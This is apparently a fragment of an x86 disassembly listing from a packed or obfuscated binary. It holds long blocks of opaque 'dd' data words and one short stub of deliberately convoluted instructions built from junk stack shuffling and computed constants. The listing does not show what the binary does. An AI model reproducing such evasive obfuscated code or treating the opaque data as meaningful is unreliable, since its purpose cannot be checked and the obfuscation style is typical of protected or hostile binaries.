0D5E8A88Dh, 40B83ECCh, 305ECA9h, 5DE0FFC5h, 936230F3h dd 2E3A02A3h, 79138E3Ch, 6F1FEB7Ah, 0A809F76Bh, 0BA04448Eh dd 0C207EA8Bh, 195222E5h, 6D5B8C26h, 0EB6B2489h, 0FC084E8Bh dd 0E607C3E6h, 0B5540B4Bh, 8E0B629Eh, 2E287CB6h, 0EB67AE0Dh dd 2Dh, 0AE0DD000h, 0F2319CBFh, 0A5ADF9DFh, 528C88A7h dd 0B7FB75h, 0ADF99CBEh, 89937EE5h, 8168009Dh, 0BD146726h dd 0F86B03B2h, 86E97A0Bh, 6800000Ah, 5ECAB3Ah, 0FAD63AE9h dd 0ACA468FFh, 30E905ECh, 68FFFAD6h, 5ECAE12h, 0FAD626E9h dd 0AECC68FFh, 1CE905ECh, 68FFFAD6h, 5ECAF5Bh, 0FAD612E9h dd 0B03468FFh, 8E905ECh, 68FFFAD6h, 5ECB0CFh, 0FAD5FEE9h dd 0B27D68FFh, 0F4E905ECh, 68FFFAD5h, 5ECB344h, 0FAD5EAE9h dd 9F7A6AFFh, 0E841B909h, 36E30252h, 81B050A0h, 0C9609BEBh dd 8EB11A33h, 0D626BC6Dh, 23730928h, 6DBD53DEh, 34099F92h dd 7D4A2E1Bh, 0ECD25A7Eh, 47FB2C67h, 932B78B9h, 5361762Dh dd 5FD185ACh, 39332F7Bh, 47EED911h, 0C7517E48h, 0CB3442F9h dd 7F80D066h, 0BEE965B2h, 0DEAA974Eh, 66576AF2h, 197FB24Eh dd 85AC5462h, 0D32C3A4Dh, 8778C85Eh, 0B6E15DAAh, 617D8F46h dd 43571532h, 3D2A3D75h, 5D518DB2h, 0DA57A7B5h, 0A2C694A2h dd 0D91461B2h, 0C3B95D3Ah, 8, 4F9F35E4h, 98E87EABh, 0E636CC4Dh dd 3181171Ah, 0B0C95FCAh, 52D72447h, 9F926CBCh, 0E948B909h dd 35FC0353h, 0C4B1CA9Fh, 5A7E7EE0h, 0C6FD8268h, 0C9ABF839h dd 3644FB36h, 7F1764C5h, 0F0FE5547h, 46EC24F5h, 0E6F4AB1Dh dd 0E7C9161Bh, 7CB41A17h, 0E01D7C69h, 0CF9D5176h, 0DFE1C182h dd 767C5A78h, 0F44BF560h, 7D8B409Bh, 577AF82h, 55h, 4EB1BFB0h dd 0C0AD96E3h, 5491D3DCh, 0F8309664h, 916D2152h, 96833AA0h dd 5176FBCFh, 0B5CA814Fh, 78FBE4C8h, 0AD546C5Ah, 399F3784h dd 0FBB19582h, 6B395A78h, 0E9C98A33h, 6B5A78FBh, 6F519E93h dd 8256A376h, 0A0374492h, 6F194C9Ah, 50409BD4h, 0EFh, 0F839C6FBh dd 0AD32C9ABh, 7529DD54h, 85CE09F1h, 7759A60Ch, 0E4F2A988h dd 32DB1316h, 4334AF50h, 5F433024h, 0E75492A6h, 50806519h dd 97C65CC2h, 5492782Ch, 0B168C936h, 748D42A3h, 72D870BDh dd 7F8483Ah, 3661DD2Ah, 37220FC6h, 3F517783h, 834F3320h dd 0E5D25A79h, 5A798401h, 3B09BB89h, 0DAE83FD5h, 27BF0C25h dd 0CAA03A73h, 2A62C560h, 32E95384h, 40F10F1Dh, 40E911F3h dd 5BD62ADAh, 533E760Eh, 575F9A06h, 0F301B886h, 5C6A2108h dd 0A73F8CA5h, 0CE2D7D6Fh, 3A27375Bh, 0E4C1DF05h, 75940h dd 9F7A6A00h, 0E841B909h, 36E30252h, 81B050A0h, 0C9609BEBh dd 8EB11A33h, 0D626BC6Dh, 23730928h, 6DBD53DEh, 34099F92h dd 7F4A2E1Bh, 0ECD25A7Eh, 0F435C667h, 40F10E5Eh, 0BC4553AAh dd 0BA462875h, 2C922A77h, 62AF827Ch, 0BF8192CAh, 0A951D5ADh dd 7C33B311h, 9217AB8Fh, 2D653354h, 35EC5C87h, 0F3ED1220h dd 92182206h, 76DCAA54h, 3F8C533Eh, 0F40C5177h, 1E23D407h dd 7A3858D3h, 8C705D14h, 145A79A2h, 1B29E046h, 639E4EE3h dd 0B1E981CEh, 0A2674708h, 16E95A79h, 13ECCE1Bh, 8939D11Eh dd 987C6977h, 205A79A2h, 19FEC52h, 0B34A57A5h, 822C5FADh dd 0C2409B33h, 1E946EB0h, 139491Bh, 0E38Fh, 0D12A3800h dd 3B730B58h, 4DB1BF2Ah, 5FA0ACE4h, 58A385D2h, 869B84D1h dd 91D3B599h, 376F3D54h, 91D0E14Ch, 1D14EB54h, 0D1645466h dd 0B089C318h, 9251DFC3h, 33996754h, 0A4B209FBh, 8E9AD257h dd 9E826F71h, 26549251h, 0D0B4A158h, 58549251h, 5BD7248Ah dd 40557228h, 9731B529h, 0A28D7A31h, 0A551779Dh, 827C6397h dd 31149AFh, 0B41A0FEBh, 4F03341Eh, 661D8396h, 602D1B79h dd 16CD9B57h, 0EA37F208h, 0F9071A52h, 5E9D602h, 8D60634Fh dd 6CC359BFh, 30605C5Ah, 578FAB4Dh, 5579B04Bh, 0DF04C413h dd 0EBDC805Dh, 0D8000005h, 27770D0Ch, 70C056D3h, 0BE0EA475h dd 959EF42h, 88A137F2h, 2AFFFC1Fh, 77BA4494h, 0C17091E1h dd 0D24DB2Bh, 9C89A277h, 5A7E81B8h, 0C6D55A40h, 0E5EF435h dd 55AA40F1h, 0ABF839C6h, 4EB136C9h, 5B3F2CE3h, 0E35491D3h dd 0C219AF15h, 0D1609FADh, 91D35E42h, 0E018E654h, 91D415F5h dd 7C829054h, 900401B5h, 0A0BDA2F8h, 2791C268h, 0C3CA8370h dd 8452517Dh, 0EF42BFCDh, 7A8FA4B7h, 7EC7A98Dh, 0AF63315Ah dd 0B0F13F1Dh, 4E5A922Ah, 9AEA80B1h, 37FCC65h, 9CB168D0h dd 8477708Eh, 1C073FA5h, 5763AD6Dh, 920DAE8h, 0DEEC24BCh dd 2586EC10h, 15F2DF02h, 53171h, 0C7529200h, 1019E131h dd 5EBB2A7Ah, 0A98878C8h, 0F138C313h, 0B6D9425Bh, 0FE4EE445h dd 4B9B3100h, 95E57BB6h, 5C31C76Ah, 81725643h, 14FA5A7Eh dd 0F839C68Fh, 0FB36C9ABh, 1CEADAAEh, 0E177BA45h, 7CFC0BB5h dd 7EC45h, 4970000h, 14Fh, 0D407E767h, 0C4EF5491h, 0ECB09D54h dd 74517D79h, 268CA55Ch, 459E616Fh, 89A1CFEDh, 0CF65CB6Dh dd 64B1807Fh, 964DBFE8h, 0A2877381h dd 69D07F6Ah, 82505763h, 26A1E5Eh, 0ED916EDFh, 4A2h, 0C056C321h dd 99F8A70h, 57ED2CB9h, 0A238F907h, 0EA80A952h, 0B64568D1h dd 718DDD73h, 27DA2AC0h, 0DB24740Ah, 0D2EBC056h, 7E8301E5h dd 1EA3895Ah, 0D9BDAABFh, 5C5491D3h, 91D38B6Fh, 93451354h dd 7E818DC5h, 6F7D66B3h, 59659D8Ch, 6A3E8BA6h, 2AD56C7Ah dd 0D958A8B6h, 91D3664Ah, 0BA20EE54h, 0FC4EF824h, 72F457Ch dd 0DA000000h, 9E04h, 0FB2C6700h, 46EDDA91h, 0C6517D7Ah dd 1E2C41F8h, 6A024FE2h, 80548CB6h, 0AAE201E0h, 3AD0619Eh dd 62BD5E3h, 0AA3DC2CEh, 992A8C57h, 21F723DAh, 8C0855BBh dd 4D3AF15Bh, 57697981h, 76843B09h, 0C212A889h, 2BA7F43Dh dd 0ECD990F8h, 5D4F8461h, 795D4A69h, 1665188h, 0B47D8333h dd 6B5C2A4Eh, 0C7A4D916h, 3C923h, 2FEAFA00h, 78B14999h dd 0C65392E2h, 1120E030h, 59D02B7Bh, 1E41AAC3h, 66B64CDDh dd 0B3039998h, 0FD4DE34Eh, 0C4992F02h, 83DABEABh, 7C625A7Eh dd 0FF04F7h, 2C670000h, 0EDDA91FBh, 517D7A46h, 3341F8C6h dd 49E01BCCh, 7DCA6799h, 99E97FE5h, 27ECB66h, 0C3B067D1h dd 576A24F7h, 0E5FAB17Fh, 223D52D3h, 0A9E150E3h, 18CF629Dh dd 5FABAB06h, 0AB4390A1h, 5C997EF7h, 1DE23224h, 184BC714h dd 810CF9B0h, 895D5048h, 2E8F5E6Dh, 69CFB38Dh, 15DC4B45h dd 0A44825D9h, 32Eh, 34CA4F95h, 7D1316E4h, 0CB61B82Dh dd 16AC857Bh, 5EF435C6h, 42B9DC45h, 0FD0151E7h, 0B34E9E34h dd 6798E87Eh, 465F34CAh, 7E837559h, 9217FD5Ah, 0ABF839C6h dd 0AEFB36C9h, 451CEADAh, 0B2C077BAh, 0BCAEE633h, 7CFCE690h dd 4BC745h, 2C720000h, 0EDDA91FBh, 51769F29h, 1E2CE3B1h dd 16FF4CDDh, 79204529h, 99FFCD5Ah, 0A5404E61h, 0D0AFDE74h dd 525A7920h, 97EE84ADh, 5EF7AE85h, 76631596h, 5A79B592h dd 0AEE64C1Ah, 89D643A2h, 0C36E92A0h, 0D8A6DE76h, 296h dd 0F63BC63Bh, 0F938C7A9h, 45EC1363h, 89387C8Eh, 394B1BCCh dd 83BB7689h, 44DFF1DAh, 0E7DE3812h, 47B8C4FCh, 0DA2533EAh dd 0F23FF20Dh, 0FA7F45Ah, 0C8FBE5D7h, 5DBCA960h, 0D85176F0h dd 73F183C6h, 73F9E1Dh, 1DDE2BF9h, 5A793D3Dh, 5104D2D8h dd 409B91A7h, 5088h, 0AABF3300h, 91D3D9BDh, 5B936154h dd 631A82B5h, 76FBAF76h, 0E9172F51h, 0FC260AF7h, 0E0AE5A78h dd 2F952D7Ah, 9D946A78h, 0E82011EDh, 0FB9E7E3Fh, 0DE205A78h dd 0DA240653h, 0E7950A57h, 0EFF58C11h, 0B0354319h, 9F493169h dd 80409BD4h, 0BAh, 0F839C62Bh, 0F732C9ABh, 0FA37C8AAh dd 0FD34CBADh, 0D0CD3867h, 28D75491h, 0B318C6BBh, 92C2E2C6h dd 0E89C6A54h, 0E248490Ah, 4FE21D2Bh, 40326A02h, 0D5220FF0h dd 7BE2E59h, 7783271Ah, 0CB612F51h, 5FCB6E1h, 220FC62Ch dd 57603EBCh, 2237EEBCh, 0FB48D114h, 0DC1F2B63h, 5260B74Dh dd 424E8693h, 4E4C70B9h, 1ADF0495h, 180993Dh, 0A1430000h dd 6892E278h, 0ADB2BC1h, 0D729790Fh, 8774C45Ah, 8AF30CA2h dd 0FF959467h, 4CE24FAFh, 962C05FCh, 0E278B946h, 2307F40Dh dd 0AB5A7E86h, 0B1BF40C5h, 0AC92DF4Ah, 0E09A57EAh, 447CE2BEh dd 0D066C338h, 0FBB27F80h, 0E82011EDh, 0FB2CA1F6h, 26EDDA91h dd 0A65176FCh, 0EACA8BD8h, 855A78FBh, 54FE697Fh, 94409BD4h dd 7AE927Fh, 68365A79h, 9FBE30h, 0C6690000h, 0C9ABF839h dd 0E9AAF732h, 5491D17Eh, 24BA7788h, 0B9062BD4h, 0EBA20A3Dh dd 76C90BFEh, 0AF451351h, 732A92C5h, 5F7F4186h, 0A2AABC57h dd 420B5244h, 35031149h, 51196C7Eh, 3E9A1CEDh, 16E5F306h dd 0CE2D7D13h, 0B36D375Bh, 22FFDF05h, 0B97Eh, 3FDA0A00h dd 88A159A9h, 0D643A2F2h, 2110F040h, 69C03B8Bh, 2E51BAD3h dd 76C65CCDh, 0C313A988h, 0D5DF33Eh, 0D4A93FF2h, 86EACEBBh dd 8C725A7Eh, 4EB1BF07h, 5C9FABE3h, 18E737CDh, 0AA546219h dd 0C8543A87h, 2F03BC01h, 0B1A3DB41h, 0F839C65Ch, 0FB36C9ABh dd 0E0487B65h, 791D3C29h, 0A18517Dh, 6C8E3EDBh, 0A0D870BDh dd 9577C492h, 0DA31C76Ah, 7DF4D8C5h, 0AE7C5A7Eh, 9C956A76h dd 48748E4Fh, 7AAE3163h, 72AD56Ch, 0DE5E3E50h, 3603142Eh dd 43BC0CFEh, 41BFA1EEh, 8CD958A6h, 9C418EF4h, 56A9B84Eh dd 0AF545DBh, 0A60C1DDDh, 9F627059h, 38C5A92h, 0EF000000h dd 1EC61358h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h dd 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h db 8, 0BBh, 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp push 15D4h mov [esp], esi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push edx mov edx, 0D1A13CEh sub edx, 6E9C2E69h sub edx, 1 dec edx sub edx, 52EF2D4Ch and edx, 75677EBAh add edx, 0C4E67292h mov esi, edx pop edx push esp mov edi, [esp] add esp, 4 push ecx mov ecx, 8 add ecx, edi mov [ecx], esi mov ecx, [esp] add esp, 4 mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_546C33 ; --------------------------------------------------------------------------- dd 9ED65E88h, 0B2974AF3h, 0E33704BAh, 0B422B86Bh, 0C50305ECh dd 0B194E0FFh, 0F48134A7h, 0C10616Ch, 0BAD33C68h, 0B96B7449h dd 7EE401A1h, 0BADF7BCBh, 661068B3h, 88E167EBh, 0AD916981h dd 7D3143D2h, 88A47A81h, 0FF5A191Eh, 5C5B5748h, 0A1CB58A4h dd 9B216515h, 3BC75CABh, 0F0DE7C27h, 0FAE93A4Ch, 8D8D26D8h dd 5ECB617h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 70C35343h, 0A8BF401Bh, 95330A2Ah, 5E722B5h, 1AA98D89h dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0A62CEC3h, 8B75E848h, 4D85C7D9h, 8C05E72Ah dd 0C7000073h, 0E7273985h, 5, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0FBCD32DEh dd 0FFDF8BD6h, 0E70091B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 426C8F29h dd 0CCC53EFDh, 0B58B710Eh, 5E7136Dh, 951BD89h, 95FF05E7h dd 5E71795h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0F2C35646h, 0C6CC6BAh, 0FF006A32h, 0E721C195h dd 0EBC08B05h, 0EFCCD41Ch, 0B4C04852h, 60E70F41h, 16F486C6h dd 0B607E62Eh, 0B8783869h, 3645A253h, 0E8C08B88h, 7, 4F219F1h dd 0B3BE742Fh, 0BD835A18h, 5E70C81h, 83097500h, 0E72819BDh dd 19740005h, 0C08B5350h, 3FCB8h, 7D858900h, 8D05E704h dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h dd 3FCB8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0BB663894h, 6A498Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7F564EC3h dd 3752CCC9h, 8D0FC08Bh, 18h, 13E9h, 0C22B1800h, 6F9EDAE0h dd 5069DE47h, 0EA119A92h, 18D4843Fh, 2B8DBD83h, 0F0105E7h dd 6C84h, 0BD83F900h, 5E71C85h, 5E850F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 4BE8C352h, 8B39D52Fh, 9BD83D9h, 5E718h, 64840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 1F29EFC3h, 0BE9D9h, 0FB990000h, 822A10C2h, 0C7AC91C2h dd 418E963h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 7A86D4C3h, 32A2CE59h, 0F5h, 0EA815000h dd 16BA2316h, 4016F55Ah, 0F0210781h, 1DB4BFAFh, 0F573BFC6h dd 0AF7AE5E5h, 0F1F8EB4Ch, 0F14AFB44h, 0F537BFDFh, 0F758ED87h dd 7123411Bh, 70E93F10h, 0F573BFDFh, 0F5B9AE2Dh, 0E3935DC5h dd 1D1A4E22h, 79DFC624h, 59A63AFDh, 7EAB1DB6h, 2F66E512h dd 84F632A5h, 4FBC5583h, 0B62CE1E3h, 2AE56F3Ah, 0F537AB2Ch dd 0E015D5C5h, 93AEAD1Dh, 0E4E726F9h, 4BD5F3E2h, 0D2A1C5CAh dd 0F17256D8h, 0F504BFC5h, 0F5345792h, 0AABBBFC5h, 8944E006h dd 0B167BBE1h, 0F569BBE1h, 0A2FEBFC5h, 0C13B1C06h, 0DF686D9Ah dd 42384F4Fh, 0F573EA1Fh, 0A8CDBFC5h, 4DAC5244h, 0B8C9BA29h dd 46BC1F60h, 9F1C3415h, 0F686ECC5h, 0D537BFC5h, 7CC07C9Eh dd 74C99B99h, 0EEE29B81h, 0B673BFC5h, 67C87C96h, 2069D8F4h dd 47D41852h, 651789F7h, 0AD69B97Fh, 0C176EFBDh, 65FED141h dd 1D25BFAFh, 0F5B9BFC6h, 0AB1FE1E5h, 0F14ACB4Ch, 0F113FB44h dd 0F59BBFD8h, 0A40EE983h, 39EAB999h, 0A83A7EE2h, 2232D970h dd 0D190BECAh, 0A66ED53Bh, 0F537BC2Dh, 36C09FC5h, 0D191369Eh dd 0D1A23EC1h, 0F573A5C1h, 36EAFCC5h, 0D19CC562h, 93AFD54Dh dd 934B997Eh, 0ADEF9B7Fh, 1D9BBFAFh, 0F5E6BFC6h, 0ABB0E1E5h dd 0F19DCB4Ch, 0F1F8FB44h, 0F56EBFD9h, 0FF4E983h, 9D4DAF9Bh dd 0F4381C55h, 0F9E3664Eh, 7E73BFC7h, 4EB1341Bh, 0CFFCF5C1h dd 90893FA5h, 94CE00CAh, 9D334A3h, 9494ECA5h, 0F5E6BE7Dh dd 0A773D5C5h, 0F5B9BC2Dh, 36869FC5h, 0D13A369Fh, 0D1733EC1h dd 0F59BA5C1h, 369FFDC5h, 257DE5A1h, 4F0AFAE2h, 84936B61h dd 0A50F3454h, 0F56EAD2Ch, 0F49588C5h, 4078601h, 2B3FE446h dd 0BBB3B26Bh, 643242F2h, 1DEEBFAFh, 0F5DCBFC6h, 0AAADE0E5h dd 0F113C34Ch, 0F1BFFB44h, 0F5CDBFDEh, 825E882h, 2A998EFAh dd 47999403h, 2E6BB0A7h, 0F56EAB2Ch, 32E29AC5h, 86EF2D37h dd 3307A5AFh, 0E61936EDh, 0B06C3A67h, 2C35D9E4h, 1D8FBFAFh dd 0F56EBFC6h, 0AEF4E4E5h, 0F1BFE34Ch, 0F1E9FB44h, 0F5E6BFD9h dd 0B0EC86h, 0D76D790Bh, 0D55147E4h, 0CEA83F3Ch, 0FA337E33h dd 0F59A9B40h, 0F64AB0C5h, 0FAE6BFC5h, 9F2A6672h, 0F651EEC5h dd 0D5DCBFC5h, 7C377C9Ch, 74339B89h, 0ED9F9B81h, 0B4CDBFC5h dd 0E0687C94h, 0A610AD1Dh, 0AE6F34A3h, 0FAB48645h, 0F56FE140h dd 0F0E83FC5h, 9F9AC64Eh, 0F625EFC5h, 0D5E6BFC5h, 7C2B7C9Dh dd 74BD9B81h, 0EED89B81h, 0B56EBFC5h, 0C8A67C95h, 819F3E85h dd 0C473AF8h, 0F5E337CAh, 7415BFC5h, 74132517h, 0F5DCBF3Ah dd 0E9ECB045h, 9F37BFC4h, 0F673E9C5h, 0D5CDBFC5h, 7CB87C9Bh dd 74779BB1h, 0EEBD9B81h, 0B3DCBFC5h, 3B567C93h, 84442E56h dd 74FD2C1Bh, 3222292Fh, 19512740h, 0F573BEC0h, 0A0B9D5C5h dd 0F5DCBC2Dh, 36339FC5h, 0D15B3698h, 0D1DF3EC1h, 0F5CDA2C1h dd 36B3FAC5h, 75C6A75Dh, 588AABF5h, 4EBAB603h, 3E870098h dd 9F37BFC5h, 0F673ECC5h, 0D5CDBFC5h, 7CBD7C9Eh, 74779B99h dd 0EEBD9B81h, 0B6DCBFC5h, 0AF027C96h, 0E336FB96h, 74944A34h dd 0F5CDBFD7h, 0F5E6B62Dh, 0B5E56FC5h, 0C38C3F65h, 7EBA4E7Dh dd 8987E41Ch, 7E37BFC5h, 2F1AEC13h, 0D3C28FA4h, 4AE9E69Fh dd 8CF0D91Bh, 71B640CEh, 0F5DCBFA6h, 1D3BBFAFh, 0F537BFC6h dd 0A858E2E5h, 0F1E9D34Ch, 0F1C2FB44h, 0F573BFDEh, 467AEA80h dd 508E4535h, 0FA62A599h, 0F537B44Ch, 0F01AB0C5h, 4FCDBFC5h dd 0DBE2A294h, 42EB3A02h, 0F5B8BA29h, 0F5B6BFC5h, 0F56D5794h dd 0AC17BFC5h, 0B912E606h, 0B14CBBE1h, 0F5FBBBE1h, 0A432BFC5h dd 0D4673006h, 0B7D34999h, 0BD0CF0CBh, 0F5313CCAh, 1F1ABFC5h dd 91329C97h, 895F2076h, 784D7A68h, 1904A540h, 5C6132C0h dd 0CE6B537Eh, 0C530CB3Dh, 0B2526ECAh, 0F5A74A2Eh, 0F5E55793h dd 0AB53BFC5h, 8130E106h, 0B15DBBE1h, 0F578BBE1h, 0A371BFC5h dd 0FCE2CF06h, 0FA1434A3h, 0F5E6BC46h, 24F8D9C5h, 0DE340246h dd 0FADDBA22h, 0F56EFC41h, 2388B0C5h, 0E91E0246h, 0FACDBA22h dd 0F5E68C40h, 0A673D5C5h, 0F5B9BC2Dh, 36879FC5h, 0D132369Eh dd 0D1733EC1h, 0F59BA2C1h, 369EFCC5h, 2C633306h, 620CFBB4h dd 483A9054h, 0F03BA7CCh, 0FDEAB0C5h, 0D37BFC5h, 0F59B1C2Ch dd 761E35C5h, 12CD3278h, 707CBEC0h, 0F5B9BFA3h, 1D8EBFAFh dd 0F56EBFC6h, 0AFF4E5E5h, 0F1BFEB4Ch, 0F1E9FB44h, 0F5E6BFDDh dd 0F7B0ED87h, 0C7EAB7C9h, 7E811776h, 0F3877C16h, 2737BFC5h dd 0D755661Dh, 0F59356A6h, 0F58CBFC5h, 0F5705792h, 0AA99BFC5h dd 8955E006h, 0B1EFBBE1h, 0F52ABBE1h, 0A2DCBFC5h, 0A71FAC06h dd 0EA86EC8h, 4FCE795Ch, 0FE6C3F0Dh, 24157544h, 0FA338220h dd 9FF86C72h, 0F673EFC5h, 0D5CDBFC5h, 7CBE7C9Dh, 74779B81h dd 0EEBD9B81h, 0B5DCBFC5h, 8CC87C95h, 0B1901F2h dd 4EFDA87Bh, 2C46683Eh, 42430248h, 78FEBA29h, 0F0550322h dd 0CF80A27Dh, 5CEB8CBEh, 0DE3258D3h, 895F7E0Ah, 784D7A68h dd 1904A540h, 5C6132C0h, 0CE6B537Eh, 0C530CB3Dh, 0B2526ECAh dd 0F305E983h, 98BD83A4h, 5ECB7h, 8D8D0D74h, 5E74D24h dd 1B8h, 40E1FF00h, 14E9h, 53B45A00h, 2417C33Eh, 0B93D0081h dd 0C3E248B4h, 9D2FE3DBh, 6C86BBA3h, 6A6A1Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FC55DAC3h dd 0E92DE883h, 0Fh, 933E2379h, 6E764B01h, 9652051Eh, 8B27F7D2h dd 0D8BF0FC0h, 0C81BD83h, 750005E7h, 19BD8309h, 5E728h dd 53501974h, 0FCB8C08Bh, 89000003h, 0E7177585h, 0FA9D8D05h dd 0FF05E9B4h, 83585BD3h, 0E72819BDh, 17740005h, 0FCB85350h dd 89000003h, 0E7177585h, 9B9D8D05h, 0FF05E9B1h, 56585BD3h dd 1751EA81h, 6A5A6148h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0A88FC357h, 33CF275Ah dd 8EBC08Bh, 4459A14h, 77E7339Ch, 0D1EE9h, 0BF816800h dd 8CE905ECh, 68FFFAC2h, 5ECC08Eh, 0FAC282E9h, 0C1F868FFh dd 78E905ECh, 68FFFAC2h, 5ECC30Ah, 0FAC26EE9h, 0C49068FFh dd 64E905ECh, 68FFFAC2h, 5ECC6C4h, 0FAC25AE9h, 0C8A568FFh dd 50E905ECh, 68FFFAC2h, 5ECC993h, 0FAC246E9h, 43D60EFFh dd 8C9D5DADh, 0DA3FA6F6h, 250CF444h, 6DBC3F8Fh, 3255BED7h dd 7ACA60C9h, 0C717AD84h, 1161F73Ah, 0D8AD43EEh, 91EED2BFh dd 90765A7Eh, 0AE39C60Bh, 0BCA08D53h, 445491D3h, 2BC31076h dd 699678C5h, 1F4832C8h, 0AA09F6ADh, 2A5176E0h, 6E4E0F5Ch dd 95A78E0h, 4257F503h, 78E07155h, 0F32BF95Ah, 9BF5610Bh dd 324240h, 2CED0000h, 0EDDA91FBh, 5176FC26h, 0BB9F8CA1h dd 435A78FBh, 0FB533724h, 0DDB5A78h, 93616FA7h, 0FBA58546h dd 3A405A78h, 0D40FB9ACh, 0D4F0409Bh, 9B000000h, 0ABF839C6h dd 0A5A932C9h, 0F8CA5909h, 7355A208h, 7658A58Ch, 0E312A889h dd 5491E754h, 0F288A956h, 0E0865DA2h, 2B59942Bh, 505E157Bh dd 69C838AFh, 3922CB03h, 0AF533724h, 0DDB5492h, 4491885Dh dd 0A5CE74ACh, 0A48F7C33h, 0A75177B3h, 94CC6599h, 3822B886h dd 0F9E69D0Fh, 576048ACh, 99A75E2Ch, 0B6638265h, 0BB6B0350h dd 0A3B6EE43h, 21417C8Eh, 985CB35h, 0F336C5D1h, 4F1065Dh dd 60634620h, 3623DAA8h, 60634552h, 0C8D40CDAh, 30D2F633h dd 78DF04C1h, 0AE6F79Bh, 9D470000h, 6496E67Ch, 6DF2FC5h dd 0D32D7D13h, 8378C85Eh, 8EF710A6h, 399906Bh, 50E64BB3h dd 9A300100h, 0E67CB54Ah, 270BF811h, 0AF5A7E93h, 35C644C9h dd 0F10E5EF4h, 2C55AA40h, 0EDDA91FBh, 5176FC26h, 401F8AA6h dd 0DA27F2F3h, 2B38E42h, 0F5DE2B91h, 0CADD3AE3h, 0E71F863Dh dd 79451CFCh, 5BB1B75Ah, 9B8D8630h, 0E96740h, 0BF120000h dd 4C9350B1h, 0E94040AEh, 37CF1C82h, 250CF3FFh, 2405F6D8h dd 0ECD9EED7h, 5491F208h, 9F8AC290h, 5491F610h, 13F6ED12h dd 1613E77Fh, 8CD1FF62h, 91F9BB9Fh, 0F754354h, 1CE4F2A9h dd 0F830C815h, 9A49B606h, 2C39E045h, 11C82EABh, 302B0FFCh dd 0E5B35492h, 5F8804ADh, 5E4936EDh, 66517733h, 0EF180298h dd 0A3B1C67Dh, 0F28AD742h, 79337F63h, 139075Ah, 33CBD9EEh dd 7DDBC6FEh, 0F8575FC3h, 2BD017EAh, 0B319B1FEh, 0E89F6D7Bh dd 720821DAh, 2C50D922h, 0DF0521E0h, 0D907AB88h, 54000009h dd 0A3F38990h, 0EC3CD257h, 3A8A20F9h, 85D56BC6h, 41DB376h dd 0A683789Bh, 0F33EC010h, 3DF40D5Dh, 89A857A7h, 18051EF3h dd 5A7E9434h, 0C651D6BCh, 283DF435h, 91D3573Bh, 1504E154h dd 0B07E30C8h, 0C9368678h, 0C67DD268h, 0D6BAA739h, 5E5491D3h dd 65732A90h, 0B25B9396h, 0E940BBC9h, 0C0CC049Ch, 725CF23Fh dd 3320D741h, 5176F8D8h, 0C638465Bh, 0FEF8DC6Bh, 0B2805A78h dd 519E6C7Ah, 78FEB190h, 0B0464C5Ah, 9BD31BC5h, 636FC40h dd 2CA70000h, 0EDDA91FBh, 5176D382h, 0AE6FBC8Ah, 5A78D5CEh dd 0B7956369h, 2ADA57A9h, 3D255DD4h, 409BFA93h, 60F74h dd 860B1D00h, 5705762Ah, 38771AF9h, 64716684h, 0FB2C1B2Ch dd 0D6EDDA91h, 0D65176FCh, 1AFABB08h, 0B55A7904h, 6C834E60h dd 10C27873h, 5EF643EEh, 8CEC44F8h, 0F5D6D7A0h, 78E3F9BDh dd 409BD9CEh, 0DE4EFC0Eh, 3708153Eh, 7EB67387h, 5BF0Ch dd 1C57B700h, 0E49B0D36h, 0E9CDBACFh, 715491D3h, 3D806BA3h dd 0C05176E2h, 8CE0F8AEh, 0A0D824FAh, 0A9807A92h, 1F2DD643h dd 2C174FE2h, 0DE6CCDB5h, 0CB82EA1Dh, 73D897DEh, 0FC4917E3h dd 35FC0513h, 0BC2C57FDh, 0F0621805h, 14E2E95Ah, 81B04F5Dh dd 83649BEBh, 0D068B57Ch, 0F4D0466Ah, 0BB984D0Ah, 86F17h dd 0F326BE00h, 3CED0D5Dh, 8A8F56A6h, 0D55CA4F4h, 1D0CEF3Fh dd 0E2056E87h, 2A7A1019h, 77C75DD4h, 0C111A78Ah, 885DF33Eh dd 949E826Fh, 40265A7Eh, 0F839C6BBh, 94042FABh, 6F77F0DDh dd 6C7A517Dh, 0B8509D94h, 0EA47280h, 7E922FDFh, 2357FB5Ah dd 0D5BF55DCh, 6F843BBDh, 5660A25Dh, 19D488A9h, 18033B69h dd 5A7E723Ch, 0C7A9F6C4h, 3463F938h, 5A7E7264h, 5F161BE6h dd 3481B051h, 1C82AF52h, 5DA2F2E4h, 0E6C687D4h, 68B15AC2h dd 6A4C9998h, 0AB509D94h, 49B88F5Dh, 913F82E8h, 0E3D0E57Bh dd 5A7E62FFh, 7581B987h, 0C111A78Ah, 0E5A6F33Eh, 5A7E5305h dd 0D16076C4h, 5B6D032Eh, 134h, 0DD4CAEBCh, 3377AA90h dd 29DA2B07h, 3B1F0CC3h, 0C35A7E01h, 0C6ACBDF5h, 0C2ABF839h 